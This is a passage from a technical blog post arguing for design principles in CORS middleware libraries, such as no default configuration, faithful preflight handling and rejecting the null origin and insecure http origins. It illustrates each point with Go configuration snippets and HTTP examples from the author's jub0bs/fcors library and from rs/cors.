<a href="https://pkg.go.dev/github.com/jub0bs/fcors" target="_blank" rel="noopener">jub0bs/fcors</a> leverages Go&rsquo;s type system in order to prevent
(at compile time!) server developers from allowing credentialed access
from all origins.</p>
<p><img src="/images/compilation_error.gif" alt="Compilation error when attempting to allow all origins with credentials"></p>
<h3 id="7-provide-no-default-configuration">7. Provide no default configuration <a href="#7-provide-no-default-configuration">¶</a></h3>
<p>Most CORS middleware libraries provide some default configuration.
For instance, <a href="https://pkg.go.dev/github.com/rs/cors" target="_blank" rel="noopener">rs/cors</a> <a href="https://github.com/rs/cors/blob/fcebdb403f4d4585c705318c0e4d6d05a761a4ab/cors.go#L195" target="_blank" rel="noopener">exports the following function</a>,
which returns a &ldquo;default&rdquo; CORS middleware:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#75715e">// Default creates a new Cors handler with default options.</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> <span style="color:#a6e22e">Default</span>() <span style="color:#f92672">*</span><span style="color:#a6e22e">Cors</span>
</span></span></code></pre></div><p>As a prospective user of this function, you may find its documentation cryptic
and ask yourself the following questions:</p>
<ul>
<li>What exactly are those &ldquo;default options&rdquo;?</li>
<li>What behaviour does the resulting CORS middleware exhibit?</li>
<li>Is the resulting CORS middleware suited for my needs?</li>
</ul>
<p>To find definite answers, you&rsquo;d have no other choice but to dig
into the library&rsquo;s source code.</p>
<p>Lacking documentation is one thing, but I want to draw your attention to a deeper
issue.
On the one hand, and contrary to popular belief,
activating CORS never <em>strengthens</em> security but always <em>weakens</em> security
(to varying degrees).</p>
<p>Some widespread CORS configurations may strike you as innocuous.
For instance, you may perceive a blanket <code>Access-Control-Allow-Origin: *</code> policy
as a harmless default, but even such an innocent-looking CORS policy
<a href="https://security.stackexchange.com/a/254684/127436" target="_blank" rel="noopener">can prove insecure in some contexts</a>.
On the other hand, configuration in general should be
<a href="https://en.wikipedia.org/wiki/Secure_by_default" target="_blank" rel="noopener">secure by default</a>.</p>
<p>From this apparent conflict, I see but one escape:
the only sane default consists in <strong>not enabling CORS at all</strong>.
Thefore, my stance is that a well-factored CORS middleware library
should <em>not</em> provide any default configuration.
Instead, it should, at the cost of some verbosity,
force users to be deliberate about their CORS configuration.</p>
<p>Accordingly, <a href="https://pkg.go.dev/github.com/jub0bs/fcors" target="_blank" rel="noopener">jub0bs/fcors</a> provides no default configuration.
For instance, developers who wish to allow anonymous access from any origin
must be deliberate and explicit about it in their CORS configuration:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#a6e22e">cors</span>, <span style="color:#a6e22e">err</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">fcors</span>.<span style="color:#a6e22e">AllowAccess</span>(
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">fcors</span>.<span style="color:#a6e22e">FromAnyOrigin</span>(),
</span></span><span style="display:flex;"><span>)
</span></span></code></pre></div><h3 id="8-do-not-preclude-legitimate-configurations">8. Do not preclude legitimate configurations <a href="#8-do-not-preclude-legitimate-configurations">¶</a></h3>
<p>Some CORS middleware libraries are rife with <a href="https://www.lri.fr/~mbl/Stanford/CS477/papers/Gaver-CHI1991.pdf" target="_blank" rel="noopener">false affordances</a>,
i.e. things that seem feasible but are actually not.
Below are two examples of false affordances that preclude legitimate CORS configurations;
I&rsquo;ve also included, as a digression, a third false affordance that
does not stand in the way of legitimate CORS configurations
but may nonetheless breed confusion.</p>
<h4 id="impossibility-to-turn-preflight-caching-off">Impossibility to turn preflight caching off <a href="#impossibility-to-turn-preflight-caching-off">¶</a></h4>
<p>To reduce traffic,
browsers feature an internal cache dedicated to preflight responses.
Developers can tune the expiration time of an individual preflight response
in the preflight cache
by including an <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Access-Control-Max-Age" target="_blank" rel="noopener"><code>Access-Control-Max-Age</code> header</a> in that response
and specifying the desired <em>max age</em> (in seconds) as a nonnegative integer:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-http" data-lang="http"><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">Access-Control-Max-Age: 30
</span></span></span></code></pre></div><p>Omitting the <code>Access-Control-Max-Age</code> header altogether
causes browsers to cache the preflight response in question
for a <a href="https://fetch.spec.whatwg.org/#http-access-control-max-age" target="_blank" rel="noopener">default duration of five seconds</a>,
whereas specifying a max-age value of <code>0</code> instruct browsers
not to cache the preflight response at all:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-http" data-lang="http"><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">Access-Control-Max-Age: 0
</span></span></span></code></pre></div><p>Unfortunately, <a href="https://pkg.go.dev/github.com/rs/cors" target="_blank" rel="noopener">rs/cors</a>, among other libraries,
<a href="https://github.com/rs/cors/blob/fcebdb403f4d4585c705318c0e4d6d05a761a4ab/cors.go#L333" target="_blank" rel="noopener">ignores this distinction</a> and, therefore,
altogether prevents its users from disabling preflight caching,
should they wish to do so.</p>
<p><a href="https://pkg.go.dev/github.com/jub0bs/fcors" target="_blank" rel="noopener">jub0bs/fcors</a> doesn&rsquo;t suffer from this limitation:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#a6e22e">cors</span>, <span style="color:#a6e22e">err</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">fcors</span>.<span style="color:#a6e22e">AllowAccess</span>(
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">fcors</span>.<span style="color:#a6e22e">FromAnyOrigin</span>(),
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">fcors</span>.<span style="color:#a6e22e">WithRequestHeaders</span>(<span style="color:#e6db74">&#34;Authorization&#34;</span>),
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">fcors</span>.<span style="color:#a6e22e">WithMaxAgeInSeconds</span>(<span style="color:#ae81ff">0</span>), <span style="color:#75715e">// disables preflight caching</span>
</span></span><span style="display:flex;"><span>)
</span></span></code></pre></div><h4 id="violation-of-the-case-sensitivity-of-method-names">Violation of the case sensitivity of method names <a href="#violation-of-the-case-sensitivity-of-method-names">¶</a></h4>
<p>Several CORS middleware libraries normalise HTTP-method names to uppercase.
Those libraries, either inadvertently or deliberately, neglect the fact that,
<a href="https://fetch.spec.whatwg.org/#methods" target="_blank" rel="noopener">according to the Fetch standard</a>,
method names are case-sensitive; this illustrative
<a href="https://jakearchibald.com/2021/cors/playground/?prefillForm=1&amp;requestMethod=patch&amp;requestUseCORS=1&amp;preflightStatus=204&amp;preflightAllowOrigin=https%3A%2F%2Fjakearchibald.com&amp;preflightAllowMethods=PATCH&amp;responseStatus=200&amp;responseAllowOrigin=https%3A%2F%2Fjakearchibald.com" target="_blank" rel="noopener">instance of Jake Archibald&rsquo;s CORS playground</a>
should be enough to convince you.</p>
<p>Such unwarranted case normalisation causes problems for clients
that send requests
whose method is not uppercase—and not some case-insensitive match for one of
<code>DELETE</code>, <code>GET</code>, <code>HEAD</code>, <code>OPTIONS</code>, <code>POST</code>, or <code>PUT</code>, <a href="https://fetch.spec.whatwg.org/#concept-method-normalize" target="_blank" rel="noopener">names for which
the Fetch standard carves out an exception</a>.
Here is an example featuring <a href="https://pkg.go.dev/github.com/rs/cors" target="_blank" rel="noopener">rs/cors</a>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#a6e22e">c</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">cors</span>.<span style="color:#a6e22e">New</span>(<span style="color:#a6e22e">cors</span>.<span style="color:#a6e22e">Options</span>{
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">AllowedOrigins</span>: []<span style="color:#66d9ef">string</span>{<span style="color:#e6db74">&#34;https://example.com&#34;</span>},
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">AllowedMethods</span>: []<span style="color:#66d9ef">string</span>{<span style="color:#e6db74">&#34;patch&#34;</span>},
</span></span><span style="display:flex;"><span>})
</span></span></code></pre></div><p>Assume then that a client running in the context
of Web origin <code>https://example.com</code> in a Fetch-compliant browser
sends a <code>patch</code> request (note the lower case) to the server.
As <a href="https://pkg.go.dev/github.com/rs/cors" target="_blank" rel="noopener">rs/cors</a>
<a href="https://github.com/rs/cors/blob/fcebdb403f4d4585c705318c0e4d6d05a761a4ab/cors.go#L320" target="_blank" rel="noopener">internally normalises method names to uppercase</a>,
the preflight response would contain</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-http" data-lang="http"><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">Access-Control-Allow-Methods: PATCH
</span></span></span></code></pre></div><p>as opposed to</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-http" data-lang="http"><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">Access-Control-Allow-Methods: patch
</span></span></span></code></pre></div><p>Because method names are case-sensitive, browsers rule this as a mismatch
and fail CORS preflight with an error message of this kind:</p>
<blockquote>
<p>Access to fetch at [REDACTED] from origin &lsquo;<a href="https://example.com" target="_blank" rel="noopener">https://example.com</a>&rsquo;
has been blocked by CORS policy:
Method patch is not allowed by Access-Control-Allow-Methods in preflight response.</p>
</blockquote>
<p>Very confusing! By contrast,
<a href="https://pkg.go.dev/github.com/jub0bs/fcors" target="_blank" rel="noopener">jub0bs/fcors</a> respects the case sensitivity of HTTP methods
and therefore never gives rise to this kind of problem.</p>
<h4 id="reliance-on-an-inadequate-duration-type-to-represent-the-max-age">Reliance on an inadequate duration type to represent the max age <a href="#reliance-on-an-inadequate-duration-type-to-represent-the-max-age">¶</a></h4>
<p>Some CORS libraries let their users specify a max-age value via a duration type
that supports sub-second precision; in particular,</p>
<ul>
<li><a href="https://learn.microsoft.com/en-us/aspnet/core/security/cors?view=aspnetcore-7.0" target="_blank" rel="noopener">ASP.NET Core&rsquo;s CORS middleware</a> <a href="https://learn.microsoft.com/en-us/dotnet/api/microsoft.aspnetcore.cors.infrastructure.corspolicybuilder.setpreflightmaxage?view=aspnetcore-7.0" target="_blank" rel="noopener">relies on the <code>TimeSpan</code> class</a>, and</li>
<li><a href="https://pkg.go.dev/github.com/gin-contrib/cors#Config.MaxAge" target="_blank" rel="noopener">Gin&rsquo;s CORS middleware</a> <a href="https://pkg.go.dev/github.com/gin-contrib/cors#Config.MaxAge" target="_blank" rel="noopener">relies on the <code>time.Duration</code> type</a>.</li>
</ul>
<p>Unfortunately, such libraries mislead their users into thinking that
max-age values representing a <em>fractional</em> number of seconds (e.g. 3.5s)
will be honoured; per the Fetch standard,
<a href="https://fetch.spec.whatwg.org/#http-new-header-syntax" target="_blank" rel="noopener">max age must indeed be specified (if at all) as a <em>whole</em> number of seconds</a>.
In practice, those CORS libraries silently truncate user-specified max-age values to the nearest second,
and such a silent truncation may surprise users not very familiar with the CORS protocol.</p>
<p>To avoid any such confusion, <a href="https://pkg.go.dev/github.com/jub0bs/fcors" target="_blank" rel="noopener">jub0bs/fcors</a> represents max age,
not as a <a href="https://pkg.go.dev/time#Duration" target="_blank" rel="noopener"><code>time.Duration</code></a>,
but as <a href="https://pkg.go.dev/builtin#uint" target="_blank" rel="noopener">one of Go&rsquo;s built-in unsigned integer types</a>.</p>
<hr>
<h3 id="9-ease-troubleshooting-by-eschewing-shortcuts-during-preflight">9. Ease troubleshooting by eschewing shortcuts during preflight <a href="#9-ease-troubleshooting-by-eschewing-shortcuts-during-preflight">¶</a></h3>
<p>CORS is configured on the <em>server</em> side,
but applied by the <em>browser</em> on the <em>client</em> side.
Because the CORS procotol involves two actors (three if you count the browser),
figuring out how to fix a specific CORS issue remains challenging.
Despite recent and commendable efforts by the Chromium team in that area (see
<a href="https://jec.fish" target="_blank" rel="noopener">Jecelyn Yeen</a>&rsquo;s <a href="https://www.youtube.com/watch?v=YqWEqYa-evk&amp;t=564s" target="_blank" rel="noopener">DevTools State of the Union 2022</a>),
troubleshooting CORS issues can still slow down Web development to a snail&rsquo;s pace.</p>
<p><img src="/images/snail.jpg" alt="picture of a snail on wet asphalt"></p>
<p>In practice, a misconfigured CORS configuration manifests itself as an error
in the browser&rsquo;s Console tab,
much to the chagrin of developers who often perceive those error messages
as puzzling and unhelpful.</p>
<p>In my opinion, however, this bad reputation is undeserved:
most browsers, such as <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS/Errors" target="_blank" rel="noopener">Firefox</a>, indeed do boast
a rich variety of informative CORS error messages.
Unfortunately, most CORS middleware libraries are
implemented in such a way that they give rise to
only a small subset of those error messages in the browser,
thereby masking the root cause of many CORS issues.
For instance,
a CORS error message that developers typically have to face is the following:</p>
<blockquote>
<p>Access to fetch at [REDACTED] from origin [REDACTED]
has been blocked by CORS policy:
Response to preflight request doesn&rsquo;t pass access control check:
No &lsquo;Access-Control-Allow-Origin&rsquo; header is present on the requested resource.</p>
</blockquote>
<p>This error message is so common that the last sentence is contained verbatim in
<a href="https://stackoverflow.com/search?q=%22No&#43;%27Access-Control-Allow-Origin%27&#43;header&#43;is&#43;present&#43;on&#43;the&#43;requested&#43;resource.%22&#43;%5Bcors%5D" target="_blank" rel="noopener">roughly 20% of the questions tagged with &ldquo;cors&rdquo; on Stack Overflow</a>.
In many cases, though, the issue stems, <em>not</em> from the origin of the request,
but <a href="https://stackoverflow.com/questions/71181738/no-access-control-allow-origin-header-despite-specifying-allowedorigins" target="_blank" rel="noopener">from a <em>request header</em> that happens to be disallowed
by the server&rsquo;s CORS policy</a>.
The difficulty in troubleshooting this kind of issues is compounded by
client libraries like <a href="https://axios-http.com/" target="_blank" rel="noopener">Axios</a> which, in some cases,
<a href="https://github.com/axios/axios/blob/d83316db4a242252db3a2ed7728cb43f8f8f4189/lib/defaults/index.js#L99" target="_blank" rel="noopener">silently include headers, such as <code>Content-Type</code>, to requests</a>.</p>
<p>To be absolutely fair, I must concede that the blame for this sad state of affairs
likely rests, not with CORS middleware libraries themselves,
but with the original CORS specification
(since obsoleted by the <a href="https://fetch.spec.whatwg.org" target="_blank" rel="noopener">Fetch standard</a>),
namely the <a href="https://www.w3.org/TR/2014/REC-cors-20140116/" target="_blank" rel="noopener">W3C Cross-Origin Resource Sharing working draft</a>.
The <a href="https://www.w3.org/TR/2009/WD-cors-20090317/" target="_blank" rel="noopener">version dated 17 March 2009</a> (☘️) of that working draft
saw the addition of a section entitled <em>Server Processing Model</em>,
which, among other things, prescribes how servers should handle preflight requests.
Among those normative requirements, here is the passage (only slightly redacted)
that is most relevant to the present discussion:</p>
<blockquote>
<ol start="4">
<li>If [the value of the <code>Access-Control-Request-Method</code> header]
is not a case-sensitive match for any of [the allowed methods],
<strong>do not set any additional headers and terminate this set of steps</strong>. [&hellip;]</li>
<li>If any of the
[header names listed in the <code>Access-Control-Request-Headers</code> header]
is not a ASCII case-insensitive match for any of the [allowed headers],
<strong>do not set any additional headers and terminate this set of steps</strong>. [&hellip;]</li>
<li>If the URL supports credentials, add a single <code>Access-Control-Allow-Origin</code> header,
with the value of the <code>Origin</code> header as value,
and add a single <code>Access-Control-Allow-Credentials</code> header
with the case-sensitive string &ldquo;<code>true</code>&rdquo; as value.
Otherwise, add a single <code>Access-Control-Allow-Origin</code> header,
with either the value of the <code>Origin</code> header or the string &ldquo;<code>*</code>&rdquo; as value.</li>
</ol>
</blockquote>
<p>In essence, the W3C working draft prescribes servers take shortcuts
during preflight: servers ought to omit all CORS headers
(<code>Access-Control-Allow-Origin</code> too!) from the response if preflight fails.
This leaves very little contextual information to the browser, which can only
complain about the absence of the <code>Access-Control-Allow-Origin</code> header—because
that header happens to be the first CORS header to get processed
during a <a href="https://fetch.spec.whatwg.org/#concept-cors-check" target="_blank" rel="noopener">CORS check</a>.</p>
<hr>
<p>Here is an example.
Assume that Sarah configures CORS on her server (<code>https://sarah.com</code>)
to allow Carol&rsquo;s client (<code>https://carol.com</code>) with a request header named <code>Foo</code>.
In her request to Sarah&rsquo;s server, Carol happens to include a header named <code>Bar</code>,
which Sarah&rsquo;s CORS policy does <em>not</em> allow:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">headers</span> <span style="color:#f92672">=</span> {
</span></span><span style="display:flex;"><span>  <span style="color:#e6db74">&#39;Foo&#39;</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#39;whatever&#39;</span>,
</span></span><span style="display:flex;"><span>  <span style="color:#e6db74">&#39;Bar&#39;</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#39;yolo&#39;</span>,
</span></span><span style="display:flex;"><span>};
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">fetch</span>(<span style="color:#e6db74">&#39;//sarah.com&#39;</span>, {<span style="color:#a6e22e">headers</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">headers</span>})
</span></span><span style="display:flex;"><span>  .<span style="color:#a6e22e">then</span>(<span style="color:#a6e22e">res</span> =&gt; <span style="color:#a6e22e">res</span>.<span style="color:#a6e22e">text</span>())
</span></span><span style="display:flex;"><span>  .<span style="color:#a6e22e">then</span>(<span style="color:#a6e22e">console</span>.<span style="color:#a6e22e">log</span>);
</span></span></code></pre></div><p>Sarah&rsquo;s CORS middleware then sees,
listed in the <code>Access-Control-Request-Headers</code> header of the resulting preflight request,
a header name (<code>bar</code>) that it doesn&rsquo;t allow:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-http" data-lang="http"><span style="display:flex;"><span><span style="color:#a6e22e">OPTIONS</span> / <span style="color:#66d9ef">HTTP</span><span style="color:#f92672">/</span><span style="color:#ae81ff">1.1</span>
</span></span><span style="display:flex;"><span>Host<span style="color:#f92672">:</span> <span style="color:#ae81ff">sarah.com</span>
</span></span><span style="display:flex;"><span>Origin<span style="color:#f92672">:</span> <span style="color:#ae81ff">https://carol.com</span>
</span></span><span style="display:flex;"><span>Access-Control-Request-Method<span style="color:#f92672">:</span> <span style="color:#ae81ff">GET</span>
</span></span><span style="display:flex;"><span>Access-Control-Request-Headers<span style="color:#f92672">:</span> <span style="color:#ae81ff">bar,foo</span>
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">-snip-</span>
</span></span></code></pre></div><p>And because Sarah&rsquo;s CORS middleware follows
the W3C&rsquo;s normative requirements for servers,
it replies with a 403 status
and omits <em>all</em> CORS headers from the preflight response!</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-http" data-lang="http"><span style="display:flex;"><span><span style="color:#66d9ef">HTTP</span><span style="color:#f92672">/</span><span style="color:#ae81ff">1.1</span> <span style="color:#ae81ff">403</span> <span style="color:#a6e22e">Forbidden</span>
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">-snip-</span>
</span></span></code></pre></div><p>Even though Sarah does allow the Web origin of Carol&rsquo;s client in her CORS policy,
when preflight fails, the browser presents Carol with
an infuriatingly confusing CORS error message:</p>
<blockquote>
<p>Access to fetch at &lsquo;<a href="https://sarah.com" target="_blank" rel="noopener">https://sarah.com</a>&rsquo; from origin &lsquo;<a href="https://carol.com" target="_blank" rel="noopener">https://carol.com</a>&rsquo;
has been blocked by CORS policy:
Response to preflight request doesn&rsquo;t pass access control check:
No &lsquo;Access-Control-Allow-Origin&rsquo; header is present on the requested resource.</p>
</blockquote>
<p>This misleading message hides the root cause of the problem:
Carol&rsquo;s use of a request-header name (<code>Bar</code>) that Sarah&rsquo;s CORS policy happens
to disallow.</p>
<hr>
<p>The W3C&rsquo;s normative requirements for servers endured through subsequent versions
of the working draft more or less unchanged; and,
because initial development of many CORS middleware libraries
was contemporaneous with the W3C working draft&rsquo;s heyday,
most of those libraries—to the notable exception
of <a href="https://expressjs.com/en/resources/middleware/cors.html" target="_blank" rel="noopener">Express.js&rsquo;s</a>—diligently complied and never looked back.</p>
<p>In my view, <strong>those problematic normative requirements for servers are
the main reason why so many server developers have been and still are routinely
led astray by CORS error messages.</strong></p>
<p>In this context, taking such shortcuts and <em>failing fast</em>
is actually detrimental,
because it often robs developers of a good explanation
as to what caused their CORS issues.</p>
<hr>
<p>In my earlier example,
if Sarah&rsquo;s middleware instead responded to Carol&rsquo;s preflight request with</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-http" data-lang="http"><span style="display:flex;"><span><span style="color:#66d9ef">HTTP</span><span style="color:#f92672">/</span><span style="color:#ae81ff">1.1</span> <span style="color:#ae81ff">200</span> <span style="color:#a6e22e">OK</span>
</span></span><span style="display:flex;"><span>Access-Control-Allow-Origin<span style="color:#f92672">:</span> <span style="color:#ae81ff">https://carol.com</span>
</span></span><span style="display:flex;"><span>Access-Control-Allow-Headers<span style="color:#f92672">:</span> <span style="color:#ae81ff">foo</span>
</span></span></code></pre></div><p>then the browser would still fail preflight
but would present Carol with a much more actionable CORS error message:</p>
<blockquote>
<p>Access to fetch at &lsquo;<a href="https://sarah.com" target="_blank" rel="noopener">https://sarah.com</a>&rsquo; from origin &lsquo;<a href="https://carol.com" target="_blank" rel="noopener">https://carol.com</a>&rsquo;
has been blocked by CORS policy:
Request header field bar is not allowed by
Access-Control-Allow-Headers in preflight response.</p>
</blockquote>
<p>Carol would then immediately realise that she needs to
either drop the <code>Bar</code> header from her request,
or kindly ask Sarah to also allow that request header in her CORS policy.</p>
<hr>
<p>Rather than freeing themselves from the W3C&rsquo;s injunctions
and getting rid of shortcuts during preflight, some libraries,
such as <a href="https://pkg.go.dev/github.com/rs/cors" target="_blank" rel="noopener">rs/cors</a>,
<a href="https://github.com/rs/cors/pull/3" target="_blank" rel="noopener">elected to add support for logging in a bid to ease troubleshooting</a>.
However, I find such a decision less defensible in light of the
changes brought by the Fetch standard.
By comparison with the W3C working draft, the Fetch standard is indeed
<a href="https://fetch.spec.whatwg.org/#http-responses" target="_blank" rel="noopener">far less prescriptive</a> about how servers
ought to handle preflight requests:</p>
<blockquote>
<p>Ultimately server developers have a lot of freedom in how
they handle HTTP responses and these tactics can differ
between the response to the CORS-preflight request
and the CORS request that follows it [&hellip;]</p>
</blockquote>
<p>Interestingy, getting rid of such shortcuts
<a href="https://github.com/rs/cors/issues/54#issue-317389430" target="_blank" rel="noopener">was once suggested for</a>
but never implemented in <a href="https://pkg.go.dev/github.com/rs/cors" target="_blank" rel="noopener">rs/cors</a>.
A missed opportunity, if you ask me.</p>
<p>Sometimes you feel like throwing your hands up in the air,
but <a href="https://pkg.go.dev/github.com/jub0bs/fcors" target="_blank" rel="noopener">jub0bs/fcors</a>
<a href="https://www.youtube.com/watch?v=PQZhN65vq9E" target="_blank" rel="noopener">has got the love you need to see you through</a>!
Because my library closely follows the
<a href="https://fetch.spec.whatwg.org/#cors-preflight-fetch-0" target="_blank" rel="noopener">CORS-preflight algorithm</a> and eschews undue shortcuts,
you should find CORS issues much easier to troubleshoot with it
than with other libraries.</p>
<h3 id="10-render-insecure-configurations-impossible">10. Render insecure configurations impossible <a href="#10-render-insecure-configurations-impossible">¶</a></h3>
<p><a href="#validate-configuration-and-fail-fast">Earlier in this post</a>,
I stressed that CORS libraries should not produce dysfunctional middleware
in the event of a misconfiguration.
There&rsquo;s a flip side to this.
One of <a href="https://bsky.app/profile/joshbloch.bsky.social" target="_blank" rel="noopener">Joshua Bloch</a>&rsquo;s design principles that has stayed with me
<a href="https://www.youtube.com/watch?v=aAb7hSCtvGw&amp;t=6m02s" target="_blank" rel="noopener">ever since I encountered it</a> is the following:</p>
<blockquote>
<p>A good library is one that is not only easy to use but <em>hard to misuse</em>.</p>
</blockquote>
<p>The second part of this maxim is especially relevant when the library in question
is concerned with such security-critical mechanisms as CORS.</p>
<p>I hope you will forgive this somewhat infantilising metaphor:
a seat belt should arguably be designed in such a way
that no unattended toddler can unbuckle it;
similarly, a good CORS library should prevent developers
from producing dangerously permissive CORS middleware.</p>
<p>Unfortunately, too many CORS middleware libraries fail to
effectively protect developers from themselves
because they insufficiently rein in their power.</p>
<p><img src="/images/bent-barrel.svg" alt="sketch engraving of an absurd revolver with a curved barrel pointing back to the shooter"></p>
<p>I&rsquo;ve already touched upon this topic earlier in this post (see
<a href="#3-provide-support-for-private-network-access">Provide support for Private Network Access</a>
and  <a href="#6-treat-cors-as-a-compilation-target">Treat CORS as a compilation target</a>),
but here are more ways in which CORS middleware libraries
should prevent their users from shooting themselves in the foot.</p>
<h4 id="do-not-support-the-null-origin">Do not support the <code>null</code> origin <a href="#do-not-support-the-null-origin">¶</a></h4>
<p>Security researcher <a href="https://jameskettle.com" target="_blank" rel="noopener">James Kettle</a>
warns us (and <a href="https://www.cynet.com/wp-content/uploads/2016/12/Blog-Post-BugSec-Cynet-Facebook-Originull.pdf" target="_blank" rel="noopener">rightly so</a>!)
that allowing the <code>null</code> origin in one&rsquo;s CORS configuration
<a href="https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties" target="_blank" rel="noopener">is rarely (if ever) a good idea</a>;
the only justifiable use case I can think of
is a deliberately vulnerable resource in the context of
<a href="https://portswigger.net/web-security/cors/lab-null-origin-whitelisted-attack" target="_blank" rel="noopener">a Web-security lab about CORS misconfiguration</a>.
Yet CORS libraries, by and large,
are quite content to tolerate the <code>null</code> origin.</p>
<p>By contrast, <a href="https://pkg.go.dev/github.com/jub0bs/fcors" target="_blank" rel="noopener">jub0bs/fcors</a> completely forbids the <code>null</code> origin;
attempts to allow it result in a run-time error:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#a6e22e">cors</span>, <span style="color:#a6e22e">err</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">fcors</span>.<span style="color:#a6e22e">AllowAccess</span>(
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">fcors</span>.<span style="color:#a6e22e">FromOrigins</span>(<span style="color:#e6db74">&#34;null&#34;</span>), <span style="color:#75715e">// ❌</span>
</span></span><span style="display:flex;"><span>)
</span></span></code></pre></div><h4 id="disallow-insecure-origins-by-default">Disallow insecure origins by default <a href="#disallow-insecure-origins-by-default">¶</a></h4>
<p>Another, perhaps more subtle, CORS misconfiguration consists in allowing
<em>insecure origins</em>, e.g. origins whose scheme is <code>http</code> as opposed to <code>https</code>,
such as <code>http://example.com</code>.
As <a href="https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties" target="_blank" rel="noopener">demonstrated by James Kettle</a>,
doing so enables an <a href="https://en.wikipedia.org/wiki/Man-in-the-middle_attack" target="_blank" rel="noopener">active network attacker</a> to steal
potentially sensitive data from his/her victim,
even if the latter only ever willingly interacts
with the vulnerable resource over a secure connection (i.e. using HTTPS).
Unfortunately, none of the CORS libraries I&rsquo;ve reviewed guard their users
against this pitfall.
Even if you&rsquo;re aware of it, you are a mere one-character typo away
from misconfiguring your CORS middleware,
and no such tiny typo should be this consequential.</p>
<p>Again, <a href="https://pkg.go.dev/github.com/jub0bs/fcors" target="_blank" rel="noopener">jub0bs/fcors</a> has your back
and disallows <em>most</em> <code>http</code> origins by default;
it does carve out an exception for
origins whose host is <code>localhost</code> or a <a href="https://en.wikipedia.org/wiki/Loopback#Virtual_loopback_interface" target="_blank" rel="noopener">loopback IP address</a>, though,
because such origins are typically harmless
and so commonly used in pre-prod environments.
By default,
attempts to allow one or more insecure origins result in a run-time error:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#a6e22e">cors</span>, <span style="color:#a6e22e">err</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">fcors</span>.<span style="color:#a6e22e">AllowAccess</span>(
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">fcors</span>.<span style="color:#a6e22e">FromOrigins</span>(<span style="color:#e6db74">&#34;http://example.com&#34;</span>), <span style="color:#75715e">// ❌</span>
</span></span><span style="display:flex;"><span>)
</span></span></code></pre></div><p>If you need to <em>deliberately</em> allow one or more insecure origins,
